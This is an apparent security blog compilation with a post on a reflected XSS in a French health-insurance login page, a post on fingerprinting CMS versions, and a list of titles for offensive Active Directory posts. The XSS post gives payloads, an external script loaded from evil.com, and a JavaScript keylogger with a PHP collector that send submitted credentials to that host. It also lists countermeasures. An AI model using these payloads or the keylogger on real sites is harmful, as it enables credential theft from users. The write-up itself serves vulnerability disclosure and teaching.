Special_characters_bypass	Exploiting browsers’ handling of special characters. Most can only work in Safari except `_`, which can also work in Chrome and Firefox. See more in Advanced CORS Exploitation Techniques. Thanks @Malayke.

Cheers.

A fun case of XSS and other web concepts

Tue, 25 Jul 2017 00:00:00 +0000

Hello folks,

I would like to share with you a practical case of reflected XSS while i was looking at my national health service account. Right now the XSS has been patched (we have an efficient dedicated national service where we can report such issues).

What is the issue ?

A reflected XSS in the login field at the authentication page from the website https://assure.ameli.fr where all french citizen are consulting their social security account. Some digits are required but setting some alphacharacters as login will return the string in uppercase.

Where is the issue ?

So i set:

And i got:

<form name="connexionCompteForm" id="connexioncompte_2connexionCompteForm" method="post" action="https://assure.ameli.fr:443/PortailAS/appmanager/PortailAS/assure?_nfpb=true&amp;_windowLabel=connexioncompte_2&amp;connexioncompte_2_actionOverride=%2Fportlets%2Fconnexioncompte%2Fvalidationconnexioncompte&amp;_pageLabel=as_login_page" class="r_cnx_form">
...
<input id="connexioncompte_2nir_as" type="text" value="THEPOSTLOGIN" maxlength="13" size="13" placeholder="Mon numéro de sécurité sociale" title="Mon numéro de sécurité sociale" tabindex="3" name="connexioncompte_2numSecuriteSociale" />
...
</form>

Let’s try something else with the login toto<>”’();/::

<input id="connexioncompte_2nir_as" type="text" value="TOTO<>"'();/\" maxlength="13" ...

No escaping, no sanitizing or HTML encoding but we will have to deal with UPPERCASE. HTML is not case sensitive but javascript is, so we will do some HEX encoding for the javascript part.

An important thing i forgot to mention is that the payload is truncated to 255 characters.

So this is how to exploit an XSS when your payload is UPPERCASED (and truncated):

First payload:
We can test the XSS thanks to this payload (alert) - also notice that we want to preserve the way how the webpage renders:

https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=" /><IMG SRC=X ONERROR=&#x61;&#x6C;&#x65;&#x72;&#x74;(&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x64;&#x6F;&#x6D;&#x61;&#x69;&#x6E;) hidden><nimp "&connexioncompte_2codeConfidentiel=&connexioncompte_2actionEvt=connecter

Full payload url encoded:

https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20%2F%3E%3CIMG%20SRC%3DX%20ONERROR%3D%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x64%3B%26%23x6F%3B%26%23x6D%3B%26%23x61%3B%26%23x69%3B%26%23x6E%3B)%20hidden%3E%3Cnimp%20%22&connexioncompte_2codeConfidentiel=&connexioncompte_2actionEvt=connecter

But wait… you process a GET request and you were talking about a form with POST method ?
Yes, there but there is no server-side filtering on the specific POST method (of course it’s also exploitable with POST).

So what do we have ?:

It works because i’m using Firefox. IE and Chrome embed a reflected XSS auditor which prevents this kind of inline javascript execution.

Now how to deal with a truncated payload ?:
Easy, we just have to call an external javascript file.

Final payload:

" name="connexioncompte_2numSecuriteSociale" placeholder="&#x4d;&#x6f;&#x6e;&#x20;&#x6e;&#x75;&#x6d;&#xe9;&#x72;&#x6f;&#x20;&#x64;&#x65;&#x20;&#x73;&#xe9;&#x63;&#x75;&#x72;&#x69;&#x74;&#xe9;&#x20;&#x73;&#x6f;&#x63;&#x69;&#x61;&#x6c;&#x65;" /><script src='https://evil.com/poc/poc.js'></script><nimp "

Final payload url encoded:

https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20name%3D%22connexioncompte_2numSecuriteSociale%22%20placeholder%3D%22%26%23x4d%3B%26%23x6f%3B%26%23x6e%3B%26%23x20%3B%26%23x6e%3B%26%23x75%3B%26%23x6d%3B%26%23xe9%3B%26%23x72%3B%26%23x6f%3B%26%23x20%3B%26%23x64%3B%26%23x65%3B%26%23x20%3B%26%23x73%3B%26%23xe9%3B%26%23x63%3B%26%23x75%3B%26%23x72%3B%26%23x69%3B%26%23x74%3B%26%23xe9%3B%26%23x20%3B%26%23x73%3B%26%23x6f%3B%26%23x63%3B%26%23x69%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%22%20%2F%3E%3Cscript%20src%3D%27https%3A%2F%2Fevil.com%2Fpoc%2Fpoc.js%27%3E%3C%2Fscript%3E%3Cnimp%20%22&connexioncompte_2codeConfidentiel=&connexioncompte_2actionEvt=connecter

On our web server, we are creating the web tree POC/POC.JS (scheme and domain name are not case sensitive). But does a little bird sing the word CORS (Cross-Origin Resource Sharing)?

Here are some examples of resources which may be embedded cross-origin (https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy):

JavaScript with <script src="..."></script>. Error messages for syntax errors are only available for same-origin scripts.
CSS with <link rel="stylesheet" href="...">. Due to the relaxed syntax rules of CSS, cross-origin CSS requires a correct Content-Type header. Restrictions vary by browser: IE, Firefox, Chrome, Safari (scroll down to CVE-2010-0051) and Opera.
Images with <img>. Supported image formats include PNG, JPEG, GIF, BMP, SVG, …
Media files with <video> and <audio>.
Plug-ins with <object>, <embed> and <applet>.
Fonts with @font-face. Some browsers allow cross-origin fonts, others require same-origin fonts.
Anything with <frame> and <iframe>. A site can use the X-Frame-Options header to prevent this form of cross-origin interaction.

But in fact whatever… we are owning the web server we would be able to add if it was necessary the response header access-control-allow-origin: * for any resources.

But what kind of cool javascript payload can we inject? (knowing that the JSESSIONID cookie has the flag HttpOnly, so not accessible via javascript).

We will add a callback function that will be triggered once the forms on the webpage will be submitted (allowing us to capture the credentials).
Check https://github.com/phackt/pentest/tree/master/exploits/js_keylogger for source code.

POC.JS

window.onload = function () {
	for(var i=0; i<document.forms.length; i++){
	  	document.forms[i].addEventListener("submit", function() {
	  		for(e=0; e<this.elements.length; e++){
	  			keys = "[name:" + this.elements[e].name + ",value:" + this.elements[e].value + ",type:" + this.elements[e].type + "]";
	  			new Image().src = 'https://evil.com/key.php?c='+keys;
	  		}
    	}, false);
	}
}

key.php

<?php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']."\n");
    fclose($logfile);
}
?>

So suppose you are receiving a link which exploits the XSS vulnerability and you innocently enter your credentials to check your account, the attacker will receive:

[name:CONNEXIONCOMPTE_2NUMSECURITESOCIALE,value:1234567890123,type:text]
[name:connexioncompte_2codeConfidentiel,value:89769874,type:password]
[name:connexioncompte_2actionEvt,value:connecter,type:hidden]
[name:submit,value:Valider,type:submit]

This kind of vulnerability could be part of a phishing campaign which encourages people to log in by clicking on the malicious link.

COUNTERMEASURES:

HTML Encoding (HTML entities and numeric character references) - https://en.wikipedia.org/wiki/Character_encodings_in_HTML
Sanitizing
Escaping
White-listing
Block inline javascript via CSP (X-XSS-Protection is deprecated and will be replaced by the CSP directive Reflected-XSS)

Dealing with external resources, blocking all cross domains requests via a Content Security Policy rule may be not relevant because a lot of these resources are legitimate on a website.
However we can do some subtle CSP rules in order to allow only what is needed.

But if a web site administrator wants to allow only resources from the same origin (this excludes subdomains):

Content-Security-Policy: default-src 'self'

Web applications are really interesting because of all the concepts you have to deal with.

Hope you enjoyed.

Phackt.

Fingerprinting Web Application static files

Mon, 05 Jun 2017 00:00:00 +0000

Hello folks,

Today i would like to share with you the first version of a script i wrote to help determining the version of a software.

So what the hell am i talking about?

Ok let me explain the context: You are looking at a website and trying to get the exact version of the underlying CMS, let say Drupal. We know that Drupal has suffered from the Drupalgeddon for versions 7.X before 7.32. So you can have at look at some obvious files (CHANGELOG.txt), but what happens if the webmaster deleted these files? How to maximize the chance to find the right version or at least the smallest delta as possible ?

A tool was existing for that purpose, BlindElephant, but it is not maintained anymore. So i chose to write my own script matching my needs. Of course don’t hesitate to contact me and let me know if you took time to have BlindElephant in a working state with the CMS hashes databases up-to-date.

So let’s say that after your recon phase you have your target using Drupal CMS (it will work with any CMS files versioned on GIT).
For now we will install a Drupal on our local machine.

WebApp Information Gatherer may helps your to identify it:

./wig.py http://localhost/drupal
...
Name           Versions          Type               
Drupal         7                 CMS   
...

Of course if you can hit some files leaking the CMS version, in this case everything is already folded:

curl --silent http://localhost/drupal/CHANGELOG.txt | head -1
Drupal 7.29, 2014-07-16

You also can look for some obvious information in the response headers or for any meta information in the HTML page. But if the webmaster did its job, nothing will leak so how can we fingerprint our CMS?

What do you need:

git clone the GIT repository of the CMS (ex https://github.com/drupal/drupal)
find the most relevant (updated) files as input files (git log, we will see it later)
download these files from your target
hash all these input files and their GIT releases equivalent
compare input files hashes with the releases ones

Following all these steps will help to determine the most likely versions of the underlying CMS.

So first download the last version of versionchecker.sh:

cd /tmp && wget https://raw.githubusercontent.com/phackt/pentest/master/fingerprint/web/versionchecker.sh
chmod +x versionchecker.sh

Then clone the Drupal repo:

git clone https://github.com/drupal/drupal.git
cd drupal/

Now we will look for our relevant input files:

git log --all --pretty=format: --name-only | egrep -v "^core/" | egrep -i "(.js$|.html$|.css$)" | sort | uniq -c | sort -rg | head -30 | tee /tmp/relevant_files.txt
warning: inexact rename detection was skipped due to too many files.
warning: you may want to set your diff.renameLimit variable to at least 4708 and retry the command.
misc/drupal.css
themes/seven/style.css
themes/garland/style.css
misc/drupal.js
modules/system/system.css
modules/overlay/overlay-parent.js
themes/bartik/css/style.css
misc/tabledrag.js
misc/autocomplete.js
themes/xtemplate/xtemplate.css
modules/system/system.js
misc/ajax.js
misc/collapse.js
misc/textarea.js
misc/tableheader.js
themes/pushbutton/style.css
themes/bluemarine/style.css
modules/user/user.js
misc/progress.js
modules/user/user.css
modules/toolbar/toolbar.css
misc/tableselect.js
modules/system/admin.css
themes/garland/style-rtl.css
misc/jquery.js
modules/color/color.js
modules/block/block.js
misc/teaser.js
themes/bartik/css/style-rtl.css
modules/node/node.css
themes/chameleon/common.css
modules/toolbar/toolbar.js
modules/system/system-rtl.css
modules/dashboard/dashboard.css
misc/ahah.js
themes/garland/fix-ie.css
themes/xtemplate/pushbutton/xtemplate.css
modules/overlay/overlay-parent.css
modules/openid/openid.js
modules/book/book.css

We are looking for the most commited static files (.js, .html, .css), not beginning by core/ (Drupal 8 hierarchy, we are looking for a Drupal 7 version here) and saving the results in /tmp/relevant_files.txt.

Let’s download these files from our target in order to be processed by the versionchecker.sh:

mkdir ../input && cd ../input
for file in $(cat /tmp/relevant_files.txt | sed -r 's/^ +//g' | cut -d' ' -f2);do mkdir -p $(dirname $file) 2>/dev/null;wget -O $file "http://localhost/drupal/$file";done

In the input directory we need to keep the hierarchy of relevant files in order to find them in the GIT repo. Some files may not be found for the target release. As an option, you can pass a pattern to grep the tags you want after the script has executed the git tag command (to find all the releases).

Let’s run our versionchecker.sh (currently only working for git versioning system):

cd .. && ./versionchecker.sh -s ./input/ -g ./drupal/ -p "^[78]\.[0-9.]+$"
[*] Input files directory: /tmp/input
[*] Cleaning empty files and directory in /tmp/input - Done
[*] GIT repository: /root/Documents/repo/drupal
[*] Grep pattern: ^7\.[0-9]+$
        ___           ___           ___           ___                       ___           ___       
       /\__\         /\  \         /\  \         /\  \          ___        /\  \         /\__\      
      /:/  /        /::\  \       /::\  \       /::\  \        /\  \      /::\  \       /::|  |     
     /:/  /        /:/\:\  \     /:/\:\  \     /:/\ \  \       \:\  \    /:/\:\  \     /:|:|  |     
    /:/__/  ___   /::\~\:\  \   /::\~\:\  \   _\:\~\ \  \      /::\__\  /:/  \:\  \   /:/|:|  |__   
    |:|  | /\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /\ \:\ \ \__\  __/:/\/__/ /:/__/ \:\__\ /:/ |:| /\__\  
    |:|  |/:/  / \:\~\:\ \/__/ \/_|::\/:/  / \:\ \:\ \/__/ /\/:/  /    \:\  \ /:/  / \/__|:|/:/  /  
    |:|__/:/  /   \:\ \:\__\      |:|::/  /   \:\ \:\__\   \::/__/      \:\  /:/  /      |:/:/  /   
     \::::/__/     \:\ \/__/      |:|\/__/     \:\/:/  /    \:\__\       \:\/:/  /       |::/  /    
      ~~~~          \:\__\        |:|  |        \::/  /      \/__/        \::/  /        /:/  /     
                     \/__/         \|__|         \/__/                     \/__/         \/__/      
        ___           ___           ___           ___           ___           ___           ___     
       /\  \         /\__\         /\  \         /\  \         /\__\         /\  \         /\  \    
      /::\  \       /:/  /        /::\  \       /::\  \       /:/  /        /::\  \       /::\  \   
     /:/\:\  \     /:/__/        /:/\:\  \     /:/\:\  \     /:/__/        /:/\:\  \     /:/\:\  \  
    /:/  \:\  \   /::\  \ ___   /::\~\:\  \   /:/  \:\  \   /::\__\____   /::\~\:\  \   /::\~\:\  \ 
   /:/__/ \:\__\ /:/\:\  /\__\ /:/\:\ \:\__\ /:/__/ \:\__\ /:/\:::::\__\ /:/\:\ \:\__\ /:/\:\ \:\__\
   \:\  \  \/__/ \/__\:\/:/  / \:\~\:\ \/__/ \:\  \  \/__/ \/_|:|~~|~    \:\~\:\ \/__/ \/_|::\/:/  /
    \:\  \            \::/  /   \:\ \:\__\    \:\  \          |:|  |      \:\ \:\__\      |:|::/  / 
     \:\  \           /:/  /     \:\ \/__/     \:\  \         |:|  |       \:\ \/__/      |:|\/__/  
      \:\__\         /:/  /       \:\__\        \:\__\        |:|  |        \:\__\        |:|  |    
       \/__/         \/__/         \/__/         \/__/         \|__|         \/__/         \|__|    


[*] Hint: for choosing relevant files to compare from a GIT repository:
[*] git log --all --pretty=format: --name-only | egrep -i "(.js$|.html$|.css$)" | sort | uniq -c | sort -rg | head -20

[*] /tmp/work/hashes.txt found. Are you sure you want to overwrite and compute hashes [Y/n]: 
[*] -----------------------
[*] Looking for tag: 7.0
[*] -----------------------
[*] Looking for tag: 7.1
[*] -----------------------
[*] Looking for tag: 7.2
[*] -----------------------
[*] Looking for tag: 7.3
...
[*] -----------------------
[*] Checking filename /tmp/input/modules/color/color.js: abce1b13050367ea1c8806888c29b383
[*] -----------------------
[*] Checking filename /tmp/input/modules/user/user.css: 1162bec186856e63a6ca207b04282816
[*] -----------------------
[*] Checking filename /tmp/input/modules/user/user.js: 0409afa4203df9e19e5754663bf27ba8
[*] -----------------------
[*] Checking filename /tmp/input/modules/overlay/overlay-parent.js: 9e7f29219143a79e528a59f1e5e2ab6e
[*] Thanks to strong and costly mathematical and statistical calculation:
[*] min version: 7.29
[*] max version: 7.32
[*] Number of input files: 23
[*] All input files have been found in the following versions: 
7.32
7.31
7.30
7.29

The script is computing hashes for every input files found and for every git tags. If one input file is not found, the script will fail because we can not precisely determine a version that matches all input files.

In our example, we finally have 23 input files from 30 relevant files (some has not been found on our target).
The final comparison between the input files hashes and the git tags hashes shows that the whole 23 input hashes match the versions 7.32, 7.31, 7.30, 7.29.

So as previously seen in the CHANGELOG.txt, our version is well included (7.29).
You also can try with some others CMS like Wordpress. Here is what we got for example with a Wordpress 4.6:

./versionchecker.sh -s ./input/ -g ~/Documents/repo/WordPress/ -p "^4(\.[0-9])+$"
[*] Input files directory: /tmp/input
[*] Cleaning empty files and directory in /tmp/input - Done
[*] GIT repository: /root/Documents/repo/WordPress
[*] Grep pattern: ^4(\.[0-9])+$
...
[*] min version: 4.6
[*] max version: 4.6
[*] Number of input files: 24
[*] All input files have been found in the following versions: 
4.6

For wordpress we have only one possible version matching all the input files we provided thanks to the same procedure as seen for the Drupal CMS. We clearly know right now which version is running, 4.6.

Hope it may helps you, give you some ideas, make you think about how to reduce your fingerprinting entropy.

Cheers,
Phackt.

phackt.org

How to mitigate DnsAdmins privilege escalation ?

Mitigations

DnsAdmins cleared

DnsAdmins security descriptor

Owner

ACL

MicrosoftDNS security descriptor

Conclusion

Why DnsAdmins privilege escalation is still working ?

What is DnsAdmins ?

MicrosoftDNS container

What are the necessary rights for the exploitation

First conclusion

Kerberos constrained delegation with protocol transition

Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo

Prerequisites

TrustedToAuthForDelegation

Enumeration

Attack scenario

Exploitation

Persistence

T2A4D on an arbitrary domain user

SeEnableDelegationPrivilege

The End

More BloodHound Cypher queries

Queries

Count the distinct users logon sessions on a domain :

Get All computers with their users logon sessions :

Get computers having a session from usernames like “ADM.*” (matching specific OS) :

Find all Domain Admins :

Find all Domain Admins (nested SID S-1-5-21-.*-512) having a session opened on a domain computer :

Show all high value target principals :

List of unique users with a path to a “highvalue” targets :

Shortest paths from Domain Users to “highvalue” targets :

Find user with a username like “ADM.*” who logged on a computer which has a owned local admin :

Find all edges that a “specific user” has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer) :

Find all the edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes :

Find interesting edges related to “ACL Abuse” that unprivileged users have against other users :

Find interesting edges related to “ACL Abuse” that unprivileged users have against computers :

Find if unprivileged users have rights to add members into groups :

Find only the AdminTo privileges (edges) of the domain users against the domain computers :

Find which groups canRDP to computers :

Find what groups have local admin rights :

Find what users have local admin rights :

Mark a user as owned :

Displays all GPOs :

Displays all GPOs containing a “keyword” in their name :

Find if a domain user has some interesting rights on a GPO :

SecurityTube Advanced Red Team Lab training - Worth it ?

Context

What i really liked

What should be / will be improved

What you will learn

Hints (that you may not find in others blog posts)

Tools

More to come

What solutions to prevent git leaks ?

Objectives :

Tools to look for sensitive data :

Prevent commits :

Finally what to conclude :

Gathering some information from web exposed GIT repositories

Play with permissive CORS

A fun case of XSS and other web concepts

Fingerprinting Web Application static files